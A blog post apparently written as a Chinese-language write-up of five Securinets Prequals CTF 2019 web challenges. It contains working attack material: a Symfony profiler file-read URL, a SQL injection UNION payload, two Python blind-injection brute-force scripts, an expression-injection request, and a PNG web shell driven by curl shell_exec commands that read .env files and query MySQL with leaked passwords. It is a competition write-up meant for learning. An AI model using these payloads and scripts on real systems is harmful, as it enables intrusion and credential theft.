Damn1t
for you I bleed myself dry
FRIENDS
baidu

Securinets Prequals CTF 2019

2019-03-30 CTF

Securinets Prequals CTF 2019

custom location

在url后追加/robots.txt,报错,出现调试页面,仔细观察url,尝试读取文件

https://web0.ctfsecurinets.com/_profiler/open?file=public/index.php

跟入index.php,发现一行require dirname(__DIR__).'/config/bootstrap.php';
于是改payload为file=/config/bootstrap.php,看到:

<?php
use Symfony\Component\Dotenv\Dotenv;
require dirname(__DIR__).'/vendor/autoload.php';
// Load cached env vars if the .env.local.php file exists
// Run "composer dump-env prod" to create it (requires symfony/flex >=1.2)
if (is_array($env = @include dirname(__DIR__).'/.env.local.php')) {
$_SERVER += $env;
$_ENV += $env;
} elseif (!class_exists(Dotenv::class)) {
throw new RuntimeException('Please run "composer require symfony/dotenv" to load the ".env" files configuring the application.');
} else {
// load all the .env files
(new Dotenv())->loadEnv(dirname(__DIR__).'/secret_ctf_location/env');
}
$_SERVER['APP_ENV'] = $_ENV['APP_ENV'] = ($_SERVER['APP_ENV'] ?? $_ENV['APP_ENV'] ?? null) ?: 'dev';
$_SERVER['APP_DEBUG'] = $_SERVER['APP_DEBUG'] ?? $_ENV['APP_DEBUG'] ?? 'prod' !== $_SERVER['APP_ENV'];
$_SERVER['APP_DEBUG'] = $_ENV['APP_DEBUG'] = (int) $_SERVER['APP_DEBUG'] || filter_var($_SERVER['APP_DEBUG'], FILTER_VALIDATE_BOOLEAN) ? '1' : '0';

看到了/secret_ctf_location/env,查看该文件,得到flag

# In all environments, the following files are loaded if they exist,
# the later taking precedence over the former:
#
#  * .envcontains default values for the environment variables needed by the app
#  * .env.local  uncommitted file with local overrides
#  * .env.$APP_ENV   committed environment-specific defaults
#  * .env.$APP_ENV.local uncommitted environment-specific overrides
#
# Real environment variables win over .env files.
#
# DO NOT DEFINE PRODUCTION SECRETS IN THIS FILE NOR IN ANY OTHER COMMITTED FILES.
#
# Run "composer dump-env prod" to compile .env files for production use (requires symfony/flex >=1.2).
# https://symfony.com/doc/current/best_practices/configuration.html#infrastructure-related-configuration
###> symfony/framework-bundle ###
APP_ENV=dev
APP_SECRET=44705a2f4fc85d70df5403ac8c7649fd
#TRUSTED_PROXIES=127.0.0.1,127.0.0.2
#TRUSTED_HOSTS='^localhost|example\.com$'
###< symfony/framework-bundle ###
###> doctrine/doctrine-bundle ###
# Format described at http://docs.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html#connecting-using-a-url
# For an SQLite database, use: "sqlite:///%kernel.project_dir%/var/data.db"
# Configure your db driver and server_version in config/packages/doctrine.yaml
DATABASE_URL=mysql://symfony_admin:Securinets{D4taB4se_P4sSw0Rd_My5qL_St0L3n}@127.0.0.1:3306/symfony_task
###< doctrine/doctrine-bundle ###
###> symfony/swiftmailer-bundle ###
# For Gmail as a transport, use: "gmail://username:password@localhost"
# For a generic SMTP server, use: "smtp://localhost:25?encryption=&auth_mode="
# Delivery is disabled by default via "null://localhost"
MAILER_URL=null://localhost
###< symfony/swiftmailer-bundle ###

方法二

改url为https://web0.ctfsecurinets.com/_profiler,出现一个控制面板
1

点击token,进入控制面板,然后查看路由,尝试_profile/phpinfo,但是没什么东西,于是返回控制面版的request/response,点击Server Parameters,在DATABASE_URL字段看到"mysql://symfony_admin:Securinets{D4taB4se_P4sSw0Rd_My5qL_St0L3n}@127.0.0.1:3306/symfony_task"

sql injected

题目给出了源码,查看index.php

if (isset($_POST['post_author'])) {
$sql = "SELECT * FROM posts WHERE author = '". mysqli_real_escape_string($conn, $_POST['post_author']) ."'";
try {
$posts = $conn->query($sql);
} catch(Exception $err) {
echo 'err: '.$err;
}
} else {
$sql = "SELECT * FROM posts WHERE author = '". $_SESSION['username'] ."'";
try {
$posts = $conn->query($sql);
} catch(Exception $err) {
echo 'err: '.$err;
}
}

这是查询的方式,"SELECT * FROM posts WHERE author = '". $_SESSION['username'] ."'";,无过滤,为漏洞点
又查看create_db.sql,字段如下:

create database webn;
create table users (id int auto_increment primary key, login varchar(100), password varchar(100), role boolean default 0);
create table posts (id int auto_increment primary key, title varchar(50), content text, date Date, author varchar(100));

flag的条件为
flags.php:$_SESSION['role'] === '1'
在login.php中:

if (isset($_POST['username']) && !empty($_POST['username']) && isset($_POST['password']) && !empty($_POST['password'])) {
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$sql = "SELECT * FROM users WHERE login='". $username ."' and password='". $password ."'";
$res = $conn->query($sql);
if($res->num_rows > 0) {
$user = $res->fetch_assoc();
$_SESSION['username'] = $user['login'];
$_SESSION['role'] = $user['role'];
header('location: index.php');
die();
} else {
$success = false;
}
}

所以可以构造' UNION SELECT 1, password, login, 4, 5 where role=1 -- asdf,注册,然后重新以root和得到的密码登录

Beginner’s Luck

源码分析
index.php

function generateRandomToken($length)
    {
        //generate random token
    }

if (!isset($_SESSION['count']))
    {
    $_SESSION['count'] = 0;
    $pass = generateRandomToken(100);
    $ip = $_SERVER['REMOTE_ADDR'];
    $sql = "INSERT INTO users (ip, token) VALUES (?,?)";
    $stmt = $pdo->prepare($sql);
    $stmt->execute([$ip, $pass]);
    }

插入ip和随机生成的token
play.php

<?php
$max_count = 10;

if (!isset($_SESSION['count']))
    {
    echo "<h1>Session Expired ! Please click <a href='start.php'></h1> here</a> ";
    die();
    }

require_once ("task_bd.php");

$currentValue = '';

if (isset($_POST["val"]))
    {
    if ($_SESSION['count'] >= $max_count)
        {
        header("Location:reset.php");
        die();
        }

    $_SESSION['count']++;
    try
        {
        $sql = "SELECT * FROM users WHERE ip='" . $_SERVER['REMOTE_ADDR'] . "' AND token='" . $_POST['val'] . "'";
        $result = $conn->query($sql);
        if ($result)
            {
            $row = $result->fetch_assoc();
            }
          else
            {
            $row = false;
            }
        }

    catch(PDOException $e)
        {

        // echo $e;

        }

    if ($row)
        {
        echo "<h1>True</h1>";
        echo "<div><h4>Click <a href='flag.php'>here</a> and use the token to get your flag</h4></div>";
        }
      else
        {
        echo "<h4>Better luck next time !</h4>";
        }

    $currentValue = $_POST['val'];
    }

echo "<h3>Attempt: " . ($_SESSION['count']) . " / " . $max_count . "</h2><br />";
?>

查询对应的token和ip,可知,那就要写script爆破了
脚本1:

import requests

url = "https://web4.ctfsecurinets.com/play.php"

injection = "' OR (ip='teammate IP' AND substring(token,%s,1)='%s') AND '1'='1"
token = ''

for i in range(1, 101):
  for b in 'abcdefghijklmnopqrstuvwxyz0123456789':
# Resetting the session and requesting a new one, just in case.
# The exploit would have been faster by removing this.
requests.get(url.replace('play', 'reset'))
s = requests.session()
s.get(url.replace('play', 'index'))
c = s.post(url, data={'val': injection % (i, b)}).content
if b'>True<' in c:
  token += b
  print(i, token)
  break

脚本2:

import time
import random
import os
import string
import requests

token = ""
found = len(token)
letters = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
letter_candidate = 0
payload = "val=' OR (ip='x.x.x.x' AND token LIKE '{}%') #"
headers = {
   "User-Agent": "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);", 
   "Content-Type": "application/x-www-form-urlencoded"
}
url_main = "https://web4.ctfsecurinets.com/"
url_index = url_main + "index.php"
url_play = url_main + "play.php"
url_reset = url_main + "reset.php"
url_start = url_main + "start.php"

global_debug = False
def debug(page, local_debug):
   if global_debug and local_debug:
  print page.status_code
  print page.headers
  print page.text

try:

   print "[*] Contacting '{}'.".format(url_reset)
   page = requests.get(url_reset, headers=headers)
   cookies = {"PHPSESSID": page.cookies["PHPSESSID"]}
   debug(page, False)


   while found < 100:

  print "[*] Contacting '{}'.".format(url_index)
  page = requests.get(url_index, headers=headers, cookies=cookies)
  debug(page, False)

  if "Session Expired" in page.text:
 print "[*] Session expired, contacting '{}'.".format(url_index)
 page = requests.get(url_index, headers=headers, cookies=cookies)
 debug(page, False)
  elif "Attempt" in page.text:
 letter = letters[letter_candidate]
 attempt = token + letter
 print "[*] Attempt '{}'.".format(attempt)
 data = payload.format(attempt)
 print "[*] Payload: {}.".format(data)
 page = requests.post(url_play, data=data, headers=headers, cookies=cookies)
 debug(page, False)

 if "True" in page.text:
token += letter
found += 1
letter_candidate = 0
print "[*] Correct letter, new token '{}'.".format(token)
 elif "Better luck next time" in page.text:
letter_candidate = letter_candidate + 1
print "[*] Wrong letter." 
 elif "Max Attempts Reahed" in page.text:
print "[*] Max attempts reached, contacting '{}'.".format(url_index)
page = requests.get(url_index, headers=headers, cookies=cookies)
debug(page, False)
 else:
print "[!] Something not working."
break

  # Go to sleep.
  sleep_interval = 0
  print "[*] Sleeping {} secs.".format(sleep_interval)
  time.sleep(sleep_interval)

except KeyboardInterrupt:
   print "[-] Interrupted!"    

Trading values

查看网页源码:

<script>

Highcharts.chart('container', {
chart: {
type: 'spline',
animation: Highcharts.svg, // don't animate in old IE
marginRight: 10,
events: {
load: function () {

// set up the updating of the chart each second
var series = this.series[0];
var formula="KHYxLm1wayt2MS5kcmYqKHYxLm1way8wLjUpLXYxLmRyZikvKHYxLmF2ZyowLjEpKyh2Mi5hdmcqKHYyLm1kcyt2Mi5kbXEpKS0odjMucGRpK3YzLnBkaSszLzIqKHYzLnJhciktdjMuZ2RwKSswLjI1Kih2NC5tdW0qdjQuZGFkKSp2NC5hdmc=";
setInterval(function () {
  $.get( "/default", { "formula": formula, "values":{"v1": "STC","v2":"PLA","v3":"SDF","v4":"OCK"} }   )
  .done(function( data ) {
var x = (new Date()).getTime(), // current time
y = parseInt(data);
if(y<1000)formula="KHYxLm1wayt2MS5kcmYqKHYxLm1way8wLjUpLXYxLmRyZikvKHYxLmF2ZyowLjEpKyh2Mi5hdmcqKHYyLm1kcyt2Mi5kbXEpKS0odjMucGRpK3YzLnBkaSszLzIqKHYzLnJhciktdjMuZ2RwKSswLjI1Kih2NC5tdW0qdjQuZGFkKSp2NC5hdmc=";
else if(y>1000 && y<10000)formula="KHYxLm1way12MS5kcmYqKHYxLm1way8xMDApLXYxLmRyZikvKHYxLmF2ZyowLjMpLSh2Mi5hdmcvKCg0LzMpKnYyLm1kcyt2Mi5kbXEqMTAwKSkrKHYzLnBkaSt2My5wZGkrMy8yKig1KnYzLnJhciktNjkqdjMuZ2RwKSsxLjcqKHY0Lm11bSp2NC5kYWQpKjE2LjUqdjQuYXZn";
else if(y>10000 && y<100000)formula="KHYxLm1way12MS5kcmYqKHYxLm1way8wLjEpLXYxLmRyZikvKHYxLmF2ZyowLjgpLSh2Mi5hdmcvKCgxLzIpKnYyLm1kcy0yNC92Mi5kbXEqMTApKSsodjMucGRpLXYzLnBkaSszLzIqKDIvNSp2My5yYXIpLTY2KnYzLmdkcCkqNy41Lyh2NC5tdW0vdjQuZGFkKSo2LjUvdjQuYXZn";
else formula="KHYxLm1way12MS5kcmYqKHYxLm1way8wLjA2KS12MS5kcmYpLyh2MS5hdmcqMC4yNSkrKHYyLmF2Zy8oKDMvMikvdjIubWRzLTg0L3YyLmRtcSoxOSkpLSh2My5wZGktdjMucGRpKzkvMiooMTIvNyp2My5yYXIpLTY2KnYzLmdkcCkqMC41Lyh2NC5tdW0qKnY0LmRhZCkqMC4zOS92NC5hdmcqKjI=";
series.addPoint([x, y], true, true);
  });
}, 1000);
}
}
},

time: {
useUTC: false
},

title: {
text: 'Live Securinets Trading values'
},
xAxis: {
type: 'datetime',
tickPixelInterval: 300
},
yAxis: {
title: {
text: 'Value'
},
plotLines: [{
value: 0,
width: 1,
color: '#808080'
}]
},
tooltip: {
headerFormat: '<b>{series.name}</b><br/>',
pointFormat: '{point.x:%Y-%m-%d %H:%M:%S}<br/>{point.y:.2f}'
},
legend: {
enabled: false
},
exporting: {
enabled: false
},
series: [{
name: 'Random data',
data: (function () {
// generate an array of random data
var data = [],
time = (new Date()).getTime(),
i;

for (i = -19; i <= 0; i += 1) {
data.push({
x: time + i * 1000,
y: Math.random()
});
}
return data;
}())
}]
});
</script>

注意到有三个base64编码:

  • KHYxLm1wayt2MS5kcmYqKHYxLm1way8wLjUpLXYxLmRyZikvKHYxLmF2ZyowLjEpKyh2Mi5hdmcqKHYyLm1kcyt2Mi5kbXEpKS0odjMucGRpK3YzLnBkaSszLzIqKHYzLnJhciktdjMuZ2RwKSswLjI1Kih2NC5tdW0qdjQuZGFkKSp2NC5hdmc=

  • KHYxLm1way12MS5kcmYqKHYxLm1way8xMDApLXYxLmRyZikvKHYxLmF2ZyowLjMpLSh2Mi5hdmcvKCg0LzMpKnYyLm1kcyt2Mi5kbXEqMTAwKSkrKHYzLnBkaSt2My5wZGkrMy8yKig1KnYzLnJhciktNjkqdjMuZ2RwKSsxLjcqKHY0Lm11bSp2NC5kYWQpKjE2LjUqdjQuYXZn

  • KHYxLm1way12MS5kcmYqKHYxLm1way8wLjA2KS12MS5kcmYpLyh2MS5hdmcqMC4yNSkrKHYyLmF2Zy8oKDMvMikvdjIubWRzLTg0L3YyLmRtcSoxOSkpLSh2My5wZGktdjMucGRpKzkvMiooMTIvNyp2My5yYXIpLTY2KnYzLmdkcCkqMC41Lyh2NC5tdW0qKnY0LmRhZCkqMC4zOS92NC5hdmcqKjI=

解码分别为:

  • (v1.mpk+v1.drf*(v1.mpk/0.5)-v1.drf)/(v1.avg*0.1)+(v2.avg*(v2.mds+v2.dmq))-(v3.pdi+v3.pdi+3/2*(v3.rar)-v3.gdp)+0.25*(v4.mum*v4.dad)*v4.avg

  • (v1.mpk-v1.drf*(v1.mpk/100)-v1.drf)/(v1.avg*0.3)-(v2.avg/((4/3)*v2.mds+v2.dmq*100))+(v3.pdi+v3.pdi+3/2*(5*v3.rar)-69*v3.gdp)+1.7*(v4.mum*v4.dad)*16.5*v4.avg

  • (v1.mpk-v1.drf*(v1.mpk/0.06)-v1.drf)/(v1.avg*0.25)+(v2.avg/((3/2)/v2.mds-84/v2.dmq*19))-(v3.pdi-v3.pdi+9/2*(12/7*v3.rar)-66*v3.gdp)*0.5/(v4.mum**v4.dad)*0.39/v4.avg**2

容易知道是图标坐标计算方式
注意到requeset方法:
$.get( "/default", { "formula": formula, "values":{"v1": "STC","v2":"PLA","v3":"SDF","v4":"OCK"} } )
所以可以请求:

GET /default?formula=KHYxLm1wayt2MS5kcmYqKHYxLm1way8wLjUpLXYxLmRyZikvKHYxLmF2ZyowLjEpKyh2Mi5hdmcqKHYyLm1kcyt2Mi5kbXEpKS0odjMucGRpK3YzLnBkaSszLzIqKHYzLnJhciktdjMuZ2RwKSswLjI1Kih2NC5tdW0qdjQuZGFkKSp2NC5hdmc=&values[v1]=STC&values[v2]=PLA&values[v3]=SDF&values[v4]=OCK HTTP/1.1
Host: web1.ctfsecurinets.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

得到response:

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 29 Mar 2019 16:19:16 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: private, must-revalidate
pragma: no-cache
expires: -1
Content-Length: 15

188698.16666667

formula为一种自定义计算方式,中文意思为公式
所以试着改为2*4(Mio0)<base64>formula=Mio0
返回了8
因此应该有一express的解析器( 例:https://github.com/symfony/expression-language)

当formula为任意字符串时,返回错误:

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 29 Mar 2019 16:26:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: private, must-revalidate
pragma: no-cache
expires: -1
Content-Length: 84

Variable “df” is not valid around position 1 for expression df. Did you mean “v1”?

于是试着改为djE=(v1),得到:

HTTP/1.1 500 Internal Server Error
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 29 Mar 2019 16:39:07 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 144

object(App\Entity\STC)#233 (4) {
[“id”:”App\Entity\STC”:private]=>
NULL
[“avg”]=>
int(100)
[“mpk”]=>
int(54)
[“drf”]=>
int(3)
}

指向了变量属性,并返回了一些组件,打印出了所有对象
因此,值是定义在classpath中的类的对象,添加新的变量v0

/default?formula=djA=&values[v0]=this&values[v1]=STC&values[v2]=PLA&values[v3]=SDF&values[v4]=OCK

返回了所有环境变量,搜索flag关键字,最终找到

Unbreakable Uploader

文件上传
图片马
图片马能够解析的条件是

AddHandler application/x-httpd-php .png
AddHandler application/x-httpd-php5 .png

Files ending in .png will not execute php code even if they contain php code. You can however execute this code either through a LFI or by uploading a .htaccess file which will add a php handler for .png or in the case of Apache you could use a double file extansion, ie: phppng.php.phppng.

访问控制列表,尝试添加自定义访问规则
所以还要知道的就是.htaccess文件

要求访问数据库
接下来使用curl协议:

#curl -i -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e6448370067d5.png?0=shell_exec" -d "1=id"

#curl -i -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e6448370067d5.png?0=shell_exec" -d "1=pwd"

#curl -i -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e6448370067d5.png?0=shell_exec" -d "1=ls ../../../ -lA"

#curl -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e6448370067d5.png?0=shell_exec" -d "1=cat ../../../.env"

#curl -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e6448370067d5.png?0=shell_exec" -d "1=mysql -usymfony_admin -pSecurinets_dB_P455W0Rd_369 -hlocalhost --database symfony_task_3 -e 'show tables'"

#curl -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e6448370067d5.png?0=shell_exec" -d "1=mysql -usymfony_admin -pSecurinets_dB_P455W0Rd_369 -hlocalhost -e 'show databases'"

#curl -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e6448370067d5.png?0=shell_exec" -d "1=mysql -usymfony_admin -pSecurinets_dB_P455W0Rd_369 -hlocalhost --database big_database -e 'show tables'"

#curl -X POST "https://web3.ctfsecurinets.com/uploads/9b3aa7a5c5cebd1318e79442144ffa63/18abe44ac4242278ad0e64d5.png?0=shell_exec" -d "1=mysql -usymfony_admin -pSecurinets_dB_P455W0Rd_369 -hlocalhost --database big_database -e 'select * from user_details' | grep Securinets"

reference:https://github.com/mohamedaymenkarmous/CTF/tree/master/CTFSecurinetsQuals2019#unbreakable-uploader

Author: damn1t

Link: http://microvorld.com/2019/03/30/CTF/Securinets Prequals CTF 2019/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
fireshell ctf2019 vice
NextPost >
hackim web
CATALOG
  1. 1. Securinets Prequals CTF 2019
    1. 1.1. custom location
      1. 1.1.1. 方法二
    2. 1.2. sql injected
    3. 1.3. Beginner’s Luck
    4. 1.4. Trading values
    5. 1.5. Unbreakable Uploader